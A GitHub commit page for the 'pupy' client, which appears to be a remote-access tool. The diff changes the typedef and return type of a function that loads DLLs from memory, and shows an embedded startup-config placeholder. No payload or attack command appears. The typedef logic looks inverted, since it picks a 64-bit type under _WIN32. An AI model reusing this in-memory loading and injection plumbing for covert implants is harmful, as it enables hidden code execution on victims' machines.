Skip to content

Commit

Permalink
fix for load_dll on win 32bit (winpty was broken)
Browse files Browse the repository at this point in the history
  • Loading branch information
n1nj4sec committed May 16, 2017
1 parent 893fc97 commit e72fe15
Show file tree
Hide file tree
Showing 2 changed files with 19 additions and 2 deletions.
10 changes: 9 additions & 1 deletion client/sources/Python-dynload.c
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,14 @@
#include <stdio.h>
#include "debug.h"

#ifndef UINTPTR
#ifndef _WIN32
typedef DWORD UINTPTR;
#else
typedef ULONGLONG UINTPTR;
#endif
#endif

struct IMPORT imports[] = {
#include "import-tab.c"
{ NULL, NULL }, /* sentinel */
Expand Down Expand Up @@ -65,7 +73,7 @@ int _load_python_FromFile(char *dllname)
return 1;
}

HMODULE _load_dll(const char *name, const char *bytes){
UINTPTR _load_dll(const char *name, const char *bytes){

HMODULE hmod;
ULONG_PTR cookie = 0;
Expand Down
11 changes: 10 additions & 1 deletion client/sources/pupy.c
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,15 @@
#include "base_inject.h"
static char module_doc[] = "Builtins utilities for pupy";

HMODULE _load_dll(const char *name, const char *bytes);
#ifndef UINTPTR
#ifndef _WIN32
typedef DWORD UINTPTR;
#else
typedef ULONGLONG UINTPTR;
#endif
#endif

UINTPTR _load_dll(const char *name, const char *bytes);

char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup. scriptlets also takes more space !

Expand Down Expand Up @@ -131,3 +139,4 @@ initpupy(void)
Py_INCREF(ExecError);
PyModule_AddObject(pupy, "error", ExecError);
}

0 comments on commit e72fe15

Please sign in to comment.